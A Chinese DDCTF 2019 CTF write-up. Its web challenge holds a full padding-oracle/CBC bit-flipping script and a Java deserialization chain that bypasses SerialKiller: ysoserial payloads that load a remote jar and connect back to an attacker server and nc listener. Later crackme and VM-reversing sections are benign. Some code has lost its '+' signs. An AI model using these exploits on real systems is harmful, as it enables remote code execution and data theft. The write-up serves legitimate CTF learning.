Web(压轴)
再来一杯JAVA
最后一道web,来自ShadowGlint师傅的复现(tql):
访问题目,抓包看到几个api。
account_info
返回{"id":1,"roleAdmin":false}
gen_token返回token
token解b64有:PadOracle:iv/cbc
基本确定就是padding oracle然后cbc字节翻转。
原理都忘光了。。去复习了一波,找到脚本跑一下:
import requests
def xor(a, b):
return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])
def padding_oracle(ciper_hex, N):
get = ""
for i in xrange(1, N 1):
for j in xrange(0, 256):
# print(i,j)
padding = xor(get, chr(i) * (i - 1))
c = chr(0) * (N - i) chr(j) padding
payload='5061644f7261636c653a69762f636263' c.encode('hex') ciper_hex
# print(payload)
get_api_return=get_api(payload)
# print(get_api_return)
if "decrypt err~" not in get_api_return:
get = chr(j ^ i) get
print(get.encode('hex'))
break
return get.encode('hex')
def padding(strings):
padding_len=8-len(strings)%8
return strings chr(padding_len)*padding_len
def get_api(ciphertext):
req_header={'X-Forwarded-For': '',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063',
'Host':'c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023',
'Referer':'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home',
'Cookie':'token={}'.format(ciphertext.decode('hex').encode('base64')[:-1]),
}
s = requests.session()
rsp=s.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token', headers=req_header,timeout=2,verify=False,stream=True,allow_redirects=False)
return(rsp.content)
def cbc_byte_flipping(strings):
token_padding=padding(strings)
c2='b8d85a91bdeae799086cc723e7bf1685'.decode('hex')
c2_m='a7d3878a0466c70b59264b5ed33f5013'.decode('hex')
c1=xor(c2_m,token_padding[16:])
c1_m=padding_oracle(c1.encode('hex'), 16).decode('hex')
iv=xor(c1_m,token_padding[0:16]) #iv
return((iv c1 c2).encode('base64')[:-1])
print(cbc_byte_flipping('{"id":1,"roleAdmin":true}'))
hex一下,猜测是中间16位iv,最后16位是密文。并且解密失败,服务端会返回dercrypt err,因此满足padding oracle条件。 跑脚本,拿到可用的token。admin身份进后台之后,看到下载1.txt,里边给出hint hex一下,猜测是中间16位iv,最后16位是密文。并且解密失败,服务端会返回dercrypt err,因此满足padding oracle条件。 跑脚本,拿到可用的token。admin身份进后台之后,看到下载1.txt,里边给出hint
代码语言:javascript复制Try to hack~
Hint:
1. Env: Springboot JDK8(openjdk version "1.8.0_181") Docker~
2. You can not exec commands~
看到题目用了Springboot,并且限制不可执行命令。 继续fuzz下载文件的fileName参数,跑了很多常见的fuzz任意文件读的字典,发现除了passwd啥都读不到。递归把etc、bin、usr等目录都跑过了,发现没啥有用的信息。 但看着样子肯定要拿到源码,继续测,跑/proc/self/fd当前运行进程目录,发现15能下到源码。 反编译审一波:
代码语言:javascript复制public class DeserializeDemoController
{
@Autowired
private SerialKillerConf serialKillerConf;
@CheckAdminActuator
@RequestMapping({"/nicaibudao_hahaxxxx/deserial"})
public String deserialize(String base64Info)
{
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Info));
UserInfo userInfo = null;
try
{
ObjectInputStream ois = new SerialKiller(bais, this.serialKillerConf.getConfig());
userInfo = (UserInfo)ois.readObject();
ois.close();
}
catch (Exception e)
{
e.printStackTrace();
return null;
}
return JSON.toJSONString(userInfo);
}
}
清楚看到controller/DeserializeDemoController下有反序列化接口,那思路就很明确了,反序列化执行执行命令或列目录拿flag。
继续审,发现用到了serialkiller。ysoserial里的payload都不能用了。。然后继续谷歌,发现了weblogic的几个反序列化洞,通过起jrmp服务来反序列化执行命令。附上链接:
https://xz.aliyun.com/t/2479
看到了payload1
serialkiller中对jrmp的过滤:
代码语言:javascript复制<!-- ysoserial's JRMPClient payload -->
<regexp>java.rmi.registry.Registry$</regexp>
<regexp>java.rmi.server.ObjID$</regexp>
<regexp>java.rmi.server.RemoteObjectInvocationHandler$</regexp>
这个payload并未用到serialkiller中的类,而是通过UnicastRef。我们跟进去看下UnicastRef这个类的作用。
代码语言:javascript复制 /**
* NOTE: There is a JDK-internal dependency on the existence of this
* class's getLiveRef method (as it is inherited by UnicastRef2) in
* the implementation of javax.management.remote.rmi.RMIConnector.
**/
public class UnicastRef implements RemoteRef
/**
* Create a new Unicast RemoteRef.
*/
public UnicastRef(LiveRef liveRef) {
ref = liveRef;
}
大约就是创建一个RMI连接器,和JRMPServer连接。所以我们并不需要Registry类,去掉之后对反序列化利用没有影响。 在DeseriallizeDemoController类中,可以看到输入被过滤了。
代码语言:javascript复制ObjectInputStream ois = new SerialKiller(bais, this.serialKillerConf.getConfig());
因此,这题bypass serialkiller的思路,就是起一个JRMPServer,然后像常规JRMP的利用思路那样,传入JRMPClient的Payload,通过反序列化接口执行连接我们的evil server,然后下载我们的payload执行。这样,就能绕过serialKiller了。当然,思路是第一步,下边还有很多很多很多坑。。。 就用这个payload1:
代码语言:javascript复制package ysoserial.payloads;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings ( {"restriction" } )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
public static void main ( final String[] args ) throws Exception {
String[] target = new String[] {"139.199.203.253:44446"};
Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
PayloadRunner.run(JRMPClient1.class, target);
}
}
这里我有一个疑问,payload1中用到了ObjID id = new ObjID,也就是用到了ObjID这个类,而这个类也在serialkiller的过滤列表中。但是发过去后,并未拦截这个类。。有大佬的解释是这个不是需要反序列化的类,是bind服务的时候用的。但不是很理解,有懂得大佬求讲解下…… 继续我们的利用。他说了不能exec,那先试试ysoserial的URLDNS。
成功接收,继续尝试执行命令:
收不到。。。命令全都被限制了。估计是shell直接限制不能执行命令,看来只能自己写payload读文件。
用到了Common-collection3.1,那可以改一改现有的payload来任意代码执行。现有的payload是通过反射来执行命令的,想改exp很麻烦。。这里参考下iswin大佬的文章。https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
感谢@threedr3am 大佬的帮助,膜爆师傅。。tql
这里我实在写不下去了。。通过重写CommonsCollections
,就能引入自己写的,实现任意功能的类,然后用ysoserial起一个server发过去,就能列目录、读文件了。
这过程一堆坑不提了。。。
贴一下魔改过的一些代码 @threedr3am
package ysoserial.payloads;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
public class CommonsCollectionsForLoadJar extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(String ipAndHost) throws Exception {
String payloadUrl = ipAndHost.substring(0, ipAndHost.indexOf(";"));
String ip2 = ipAndHost.substring(ipAndHost.indexOf(";") 1, ipAndHost.lastIndexOf(":"));
String str = ipAndHost;
Integer port2 = Integer.valueOf(Integer.parseInt(str.substring(ipAndHost.lastIndexOf(":") 1)));
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Integer.valueOf(1))});
Transformer[] transformers = new Transformer[7];
Class[] clsArr = new Class[]{Class[].class};
Object[] objArr = new Object[1];
objArr[0] = new Class[]{URL[].class};
transformers[1] = new InvokerTransformer("getConstructor", clsArr, objArr);
clsArr = new Class[]{Object[].class};
objArr = new Object[1];
Object[] objArr2 = new Object[1];
objArr2[0] = new URL[]{new URL(payloadUrl)};
objArr[0] = objArr2;
transformers[2] = new InvokerTransformer("newInstance", clsArr, objArr);
transformers[3] = new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"R"});
clsArr = new Class[]{Class[].class};
objArr = new Object[1];
objArr[0] = new Class[]{String.class, Integer.class};
transformers[4] = new InvokerTransformer("getConstructor", clsArr, objArr);
clsArr = new Class[]{Object[].class};
objArr = new Object[1];
objArr[0] = new Object[]{ip2, port2};
transformers[5] = new InvokerTransformer("newInstance", clsArr, objArr);
transformers[6] = new ConstantTransformer(Integer.valueOf(1));
TiedMapEntry entry = new TiedMapEntry(LazyMap.decorate(new HashMap(), transformerChain), "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return val;
}
public static Constructor<?> getFirstCtor(String name) throws Exception {
Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Field getField(Class<?> clazz, String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
getField(obj.getClass(), fieldName).set(obj, value);
}
}
然后加到ysoserial里,常规的JRMPClient方式起一下。
代码语言:javascript复制java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 44446 CommonsCollectionsForLoadJar 'http://ip/readfile.jar;nc_vps:nc_port'
然后就是生成注入client来访问这个server的payload,常规利用方式。
代码语言:javascript复制java -jar ysoserial.jar JRMPClient1 'vpsIP:44446'|base64 > payloadd
本地nc listen一下,/api/nicaibudao_hahaxxxx/deserial?base64Info=payload
发过去,就能列目录。发现/flag目录下有flag文件,再重新谈一个能读的shell,读一下拿到flag。
再次感谢@threedr3am师傅带我赛后做出这道题。。伏地膜
Reverse
Windows Reverse1
感觉没必要脱壳,OD载入,显示please input code:后暂停程序,查看调用堆栈就能找到对应位置
代码语言:javascript复制00A610AC 68 1C21A600 push reverse1.00A6211C ; ASCII "%s"
00A610B1 FF15 A420A600 call dword ptr ds:[0xA620A4] ; MSVCR90.scanf
00A610B7 8D8424 28040000 lea eax,dword ptr ss:[esp 0x428]
00A610BE 50 push eax
00A610BF 8D4C24 2C lea ecx,dword ptr ss:[esp 0x2C]
00A610C3 E8 38FFFFFF call reverse1.00A61000
00A610C8 83C4 28 add esp,0x28
00A610CB B9 F420A600 mov ecx,reverse1.00A620F4 ; ASCII "DDCTF{reverseME}"
首先获取我们的输入,而后进入一个encode,最后将encode后的字符串与DDCTF{reverseME}进行比较,做得时候时间紧,没进去跟,第一次输入就很明显看到输入和输出就是158-ascii的映射关系:
代码语言:javascript复制key="DDCTF{reverseME}"
ans=""
for i in key:
ans =chr(158-ord(i))
print ans
#ZZ[JX#,9(9, 9QY!
Windows Reverse2
同样没脱壳,直接在输入的时候暂停查看堆栈,就能找到关键代码位置:
代码语言:javascript复制00D9136E |. 8B3D AC20D900 mov edi,dword ptr ds:[0xD920AC] ; msvcr90.printf
00D91374 |. 68 2421D900 push reverse2.00D92124 ; /format = "input code:"
00D91379 |. FFD7 call edi ; printf
00D9137B |. 8D9424 240400>lea edx,dword ptr ss:[esp 0x424]
00D91382 |. 52 push edx
00D91383 |. 68 3021D900 push reverse2.00D92130 ; /format = "%s"
00D91388 |. FF15 B020D900 call dword ptr ds:[0xD920B0] ; scanf
00D9138E |. 83C4 24 add esp,0x24
00D91391 |. 8DB424 080400>lea esi,dword ptr ss:[esp 0x408]
00D91398 |. E8 53FEFFFF call reverse2.00D911F0
00D9139D |. 84C0 test al,al
00D9139F |. 75 12 jnz Xreverse2.00D913B3
00D913A1 |. 68 3421D900 push reverse2.00D92134 ; ASCII "invalid input
"
00D913A6 |. FFD7 call edi
00D913A8 |. 83C4 04 add esp,0x4
00D913AB |. 6A 00 push 0x0 ; /status = 0
00D913AD |. FF15 A820D900 call dword ptr ds:[0xD920A8] ; exit
00D913B3 |> 8D8424 080800>lea eax,dword ptr ss:[esp 0x808]
00D913BA |. 50 push eax
00D913BB |. 8DB424 0C0400>lea esi,dword ptr ss:[esp 0x40C]
00D913C2 |. E8 79FEFFFF call reverse2.00D91240
00D913C7 |. 68 FF030000 push 0x3FF ; /n = 3FF (1023.)
00D913CC |. 8D4C24 11 lea ecx,dword ptr ss:[esp 0x11] ; |
00D913D0 |. 6A 00 push 0x0 ; |c = 00
00D913D2 |. 51 push ecx ; |s
00D913D3 |. C64424 18 00 mov byte ptr ss:[esp 0x18],0x0 ; |
00D913D8 |. E8 8D080000 call reverse2.00D91C6A ; memset
00D913DD |. 8D9424 180800>lea edx,dword ptr ss:[esp 0x818]
00D913E4 |. 52 push edx ; /<%s>
00D913E5 |. 8D4424 1C lea eax,dword ptr ss:[esp 0x1C] ; |
00D913E9 |. 68 4421D900 push reverse2.00D92144 ; |format = "DDCTF{%s}"
00D913EE |. 50 push eax ; |s
00D913EF |. FF15 B420D900 call dword ptr ds:[0xD920B4] ; sprintf
00D913F5 |. 83C4 1C add esp,0x1C
00D913F8 |. B9 5021D900 mov ecx,reverse2.00D92150 ; ASCII "DDCTF{reverse }"
00D913FD |. 8D4424 08 lea eax,dword ptr ss:[esp 0x8]
00D91401 |> 8A10 /mov dl,byte ptr ds:[eax]
00D91403 |. 3A11 |cmp dl,byte ptr ds:[ecx]
00D91405 |. 75 1A |jnz Xreverse2.00D91421
00D91407 |. 84D2 |test dl,dl
00D91409 |. 74 12 |je Xreverse2.00D9141D
00D9140B |. 8A50 01 |mov dl,byte ptr ds:[eax 0x1]
00D9140E |. 3A51 01 |cmp dl,byte ptr ds:[ecx 0x1]
00D91411 |. 75 0E |jnz Xreverse2.00D91421
00D91413 |. 83C0 02 |add eax,0x2
00D91416 |. 83C1 02 |add ecx,0x2
00D91419 |. 84D2 |test dl,dl
00D9141B |.^ 75 E4 jnz Xreverse2.00D91401
00D9141D |> 33C0 xor eax,eax
00D9141F |. EB 05 jmp Xreverse2.00D91426
00D91421 |> 1BC0 sbb eax,eax
00D91423 |. 83D8 FF sbb eax,-0x1
00D91426 |> 85C0 test eax,eax
00D91428 |. 75 11 jnz Xreverse2.00D9143B
00D9142A |. 8D4C24 08 lea ecx,dword ptr ss:[esp 0x8]
00D9142E |. 51 push ecx
00D9142F |. 68 6021D900 push reverse2.00D92160 ; ASCII "You've got it !!! %s
"
00D91434 |. FFD7 call edi
00D91436 |. 83C4 08 add esp,0x8
00D91439 |. EB 0A jmp Xreverse2.00D91445
00D9143B |> 68 7821D900 push reverse2.00D92178 ; ASCII "Something wrong. Try again...
"
00D91440 |. FFD7 call edi
跟进去可以看到D911F0是一个判断:
代码语言:javascript复制00D91220 |> /8A0431 /mov al,byte ptr ds:[ecx esi]
00D91223 |. |3C 30 |cmp al,0x30
00D91225 |. |7C 04 |jl Xreverse2.00D9122B
00D91227 |. |3C 39 |cmp al,0x39
00D91229 |. |7E 08 |jle Xreverse2.00D91233
00D9122B |> |3C 41 |cmp al,0x41
00D9122D |. |7C 0C |jl Xreverse2.00D9123B
00D9122F |. |3C 46 |cmp al,0x46
00D91231 |. |7F 08 |jg Xreverse2.00D9123B
00D91233 |> |41 |inc ecx
00D91234 |. |3BCA |cmp ecx,edx
00D91236 |.^7C E8 jl Xreverse2.00D91220
主要是判断一下字符范围0-9A-F
,很显然是16进制格式,下面紧跟着hex解码D91240:
00D91290 |> /8A0416 /mov al,byte ptr ds:[esi edx]
00D91293 |. |8AC8 |mov cl,al
00D91295 |. |80E9 30 |sub cl,0x30
00D91298 |. |80F9 09 |cmp cl,0x9
00D9129B |. |77 06 |ja Xreverse2.00D912A3
00D9129D |. |884C24 0F |mov byte ptr ss:[esp 0xF],cl
00D912A1 |. |EB 10 |jmp Xreverse2.00D912B3
00D912A3 |> |8AC8 |mov cl,al
00D912A5 |. |80E9 41 |sub cl,0x41
00D912A8 |. |80F9 05 |cmp cl,0x5
00D912AB |. |77 06 |ja Xreverse2.00D912B3
00D912AD |. |2C 37 |sub al,0x37
......
......
00D912F5 |. 8D4C24 14 lea ecx,dword ptr ss:[esp 0x14]
00D912F9 |. E8 02FDFFFF call reverse2.00D91000
而后传入D91000,里面的移位和寻址很显然是一层base64,不过第一次看的时候table不是标准的,进去后看到是用一个异或操作换成标准(输入字符验证确实是标准base64) 最后返回sprintf("DDCTF{%s}",&encode)并与DDCTF{reverse }比较 所以flag:
代码语言:javascript复制>>> "reverse ".decode("base64").encode("hex").upper()
'ADEBDEAEC7BE'
Confused
mac逆向??买不起mac只能静态分析,还好很简单,很显然是一个虚拟机保护,不能动调,先把code扣出来,先逆出init定义和每个vm操作:
代码语言:javascript复制_int64 __fastcall init(__int64 a1, __int64 a2)
{
*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 4) = 0;
*(_DWORD *)(a1 8) = 0;
*(_DWORD *)(a1 12) = 0;
*(_DWORD *)(a1 16) = 0;
*(_DWORD *)(a1 176) = 0;
*(_BYTE *)(a1 32) = 0xF0u;
*(_QWORD *)(a1 40) = mov_;
*(_BYTE *)(a1 48) = 0xF1u;
*(_QWORD *)(a1 56) = xor_a_a4;
*(_BYTE *)(a1 64) = 0xF2u;
*(_QWORD *)(a1 72) = cmp_;
*(_BYTE *)(a1 80) = 0xF4u;
*(_QWORD *)(a1 88) = uadd_a4_a_ret;
*(_BYTE *)(a1 96) = 0xF5u;
*(_QWORD *)(a1 104) = usub_a_a4_ret;
*(_BYTE *)(a1 112) = 0xF3u;
*(_QWORD *)(a1 120) = nop;
*(_BYTE *)(a1 128) = 0xF6u;
*(_QWORD *)(a1 136) = jmp_;
*(_BYTE *)(a1 144) = 0xF7u;
*(_QWORD *)(a1 152) = mov__;
*(_BYTE *)(a1 160) = 0xF8u;
*(_QWORD *)(a1 168) = mov_;
map_addr = malloc(0x400uLL);
return __memcpy_chk((char *)map_addr 48, a2, 18LL, -1LL);
}
handle关键部分:
代码语言:javascript复制if ( **(unsigned __int8 **)(a1 0x18) == *(unsigned __int8 *)(16LL * v3 a1 0x20) )
{
v4 = 1;
(*(void (__fastcall **)(__int64))(16LL * v3 a1 0x20 8))(a1);
}
很显然是根据对应操作前定义的字节码调用函数,启动方式:
代码语言:javascript复制__int64 __fastcall run(__int64 a1)
{
*(_QWORD *)(a1 0x18) = (char *)&exe_code 4;
while ( **(unsigned __int8 **)(a1 0x18) != 0xF3 )
handle(a1);
free(map_addr);
return *(unsigned int *)(a1 0xB0);
}
主要就是逆出每个操作,对应vm字节码解出汇编就行了,vm内部的思路很清晰:
代码语言:javascript复制key=[
0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x30, 0xF6,
0xC1, 0xF0, 0x10, 0x63, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x31,
0xF6, 0xB6, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8, 0xF2,
0x32, 0xF6, 0xAB, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8,
0xF2, 0x33, 0xF6, 0xA0, 0xF0, 0x10, 0x6D, 0x00, 0x00, 0x00,
0xF8, 0xF2, 0x34, 0xF6, 0x95, 0xF0, 0x10, 0x57, 0x00, 0x00,
0x00, 0xF8, 0xF2, 0x35, 0xF6, 0x8A, 0xF0, 0x10, 0x6D, 0x00,
0x00, 0x00, 0xF8, 0xF2, 0x36, 0xF6, 0x7F, 0xF0, 0x10, 0x73,
0x00, 0x00, 0x00, 0xF8, 0xF2, 0x37, 0xF6, 0x74, 0xF0, 0x10,
0x45, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x38, 0xF6, 0x69, 0xF0,
0x10, 0x6D, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x39, 0xF6, 0x5E,
0xF0, 0x10, 0x72, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3A, 0xF6,
0x53, 0xF0, 0x10, 0x52, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3B,
0xF6, 0x48, 0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2,
0x3C, 0xF6, 0x3D, 0xF0, 0x10, 0x63, 0x00, 0x00, 0x00, 0xF8,
0xF2, 0x3D, 0xF6, 0x32, 0xF0, 0x10, 0x44, 0x00, 0x00, 0x00,
0xF8, 0xF2, 0x3E, 0xF6, 0x27, 0xF0, 0x10, 0x6A, 0x00, 0x00,
0x00, 0xF8, 0xF2, 0x3F, 0xF6, 0x1C, 0xF0, 0x10, 0x79, 0x00,
0x00, 0x00, 0xF8, 0xF2, 0x40, 0xF6, 0x11, 0xF0, 0x10, 0x65,
0x00, 0x00, 0x00, 0xF8, 0xF2, 0x41, 0xF6, 0x06, 0xF7, 0x01,
0x00, 0x00, 0x00, 0xF3, 0xF7, 0x00, 0x00, 0x00, 0x00, 0xF3,
0x5D, 0xC3, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00
]
ip=0
ans=[]
while key[ip]!=0xF3:
if key[ip]==0xf0:
if key[ip 1]==0x14:
print hex(ip) "t" "mov a0," "map_addr *(dw)" hex(key[ip 2] key[ip 3]*16 key[ip 4]*256 key[ip 5]*4096)
else:
print hex(ip) "t" "mov a" str(key[ip 1]&0x0f) "," hex(key[ip 2] key[ip 3]*16 key[ip 4]*256 key[ip 5]*4096)
ans.append(key[ip 2] key[ip 3]*16 key[ip 4]*256 key[ip 5]*4096)
ip =6
if key[ip]==0xf1:
print hex(ip) "t" "xor a0,a1"
ip =1
if key[ip]==0xf2:
print hex(ip) "t" "cmp a0," "map_addr " hex(key[ip 1])
ip =2
if key[ip]==0xf4:
print hex(ip) "t" "add a0,a1"
ip =1
if key[ip]==0xf5:
print hex(ip) "t" "sub a0,a1"
ip =1
if key[ip]==0xf6:
print hex(ip) "t" "jnz " hex(ip key[ip 1] 2)
ip =2
if key[ip]==0xf7:
print hex(ip) "t" "mov ret,*" hex(key[ip 1] key[ip 2]*16 key[ip 3]*256 key[ip 4]*4096)
ip =5
if key[ip]==0xf8:
print hex(ip) "t" "mov a0,func(a0,2)"
ip =1
output:
代码语言:javascript复制0x0 mov a0,0x66
0x6 mov a0,func(a0,2)
0x7 cmp a0,map_addr 0x30
0x9 jnz 0xcc
0xb mov a0,0x63
0x11 mov a0,func(a0,2)
0x12 cmp a0,map_addr 0x31
0x14 jnz 0xcc
0x16 mov a0,0x6a
0x1c mov a0,func(a0,2)
0x1d cmp a0,map_addr 0x32
0x1f jnz 0xcc
0x21 mov a0,0x6a
0x27 mov a0,func(a0,2)
0x28 cmp a0,map_addr 0x33
0x2a jnz 0xcc
0x2c mov a0,0x6d
0x32 mov a0,func(a0,2)
0x33 cmp a0,map_addr 0x34
0x35 jnz 0xcc
0x37 mov a0,0x57
0x3d mov a0,func(a0,2)
0x3e cmp a0,map_addr 0x35
0x40 jnz 0xcc
0x42 mov a0,0x6d
0x48 mov a0,func(a0,2)
0x49 cmp a0,map_addr 0x36
0x4b jnz 0xcc
0x4d mov a0,0x73
0x53 mov a0,func(a0,2)
0x54 cmp a0,map_addr 0x37
0x56 jnz 0xcc
0x58 mov a0,0x45
0x5e mov a0,func(a0,2)
0x5f cmp a0,map_addr 0x38
0x61 jnz 0xcc
0x63 mov a0,0x6d
0x69 mov a0,func(a0,2)
0x6a cmp a0,map_addr 0x39
0x6c jnz 0xcc
0x6e mov a0,0x72
0x74 mov a0,func(a0,2)
0x75 cmp a0,map_addr 0x3a
0x77 jnz 0xcc
0x79 mov a0,0x52
0x7f mov a0,func(a0,2)
0x80 cmp a0,map_addr 0x3b
0x82 jnz 0xcc
0x84 mov a0,0x66
0x8a mov a0,func(a0,2)
0x8b cmp a0,map_addr 0x3c
0x8d jnz 0xcc
0x8f mov a0,0x63
0x95 mov a0,func(a0,2)
0x96 cmp a0,map_addr 0x3d
0x98 jnz 0xcc
0x9a mov a0,0x44
0xa0 mov a0,func(a0,2)
0xa1 cmp a0,map_addr 0x3e
0xa3 jnz 0xcc
0xa5 mov a0,0x6a
0xab mov a0,func(a0,2)
0xac cmp a0,map_addr 0x3f
0xae jnz 0xcc
0xb0 mov a0,0x79
0xb6 mov a0,func(a0,2)
0xb7 cmp a0,map_addr 0x40
0xb9 jnz 0xcc
0xbb mov a0,0x65
0xc1 mov a0,func(a0,2)
0xc2 cmp a0,map_addr 0x41
0xc4 jnz 0xcc
0xc6 mov ret,*0x1
就是一个循环调用判断,其中func由程序本身定义,就是一个字母偏移,类似凯撒加密的效果,提取每次的判断字符,加上偏移即得flag:
helloYouGotTheFlag
obfuscating macros
不得不说这种混淆之前没碰到过,还好本身处理input的方式很简单: 静态分析发现很多函数都是像nop或者直接一个操作就ret的函数,动态调试首先就是很多和输入流无关的操作和跳转。 我的方法直接对保存输入流的堆块下硬件断点找关键处理代码,代码段太分散了,贴一下关键地方:
代码语言:javascript复制v5 = *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '@'
&& *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= 'F';
......
......
v3 = *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '/'// 0-9
&& *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= '9';
......
......
v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15 / 2);
*v4 = 16
* (*std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) - 0x37);
if ( !v16 )
......
......
v6 = *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15 1) - '0';
v7 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15 / 2);
可以看到就是一个hex_decode
操作,字符为0-9a-f
,而后进入第二层处理,依然硬件断点(hex_decode存放位置就是我们的input),找到了关键判断位置:
if ( v50 )
{
v4 = v24 ;
*v26 -= *v4; // y@
if ( !v12 )
v12 = 162LL;
if ( !v50 )
比较我们的hex_decode(input),依次记录此时的值:
79406C61E5EEF319CECEE2ED8498......
发现到最后正确达到一定长度即可right,我没具体找长度位置,直接fuzz到临界值,输入到98,well done,flag:
79406C61E5EEF319CECEE2ED8498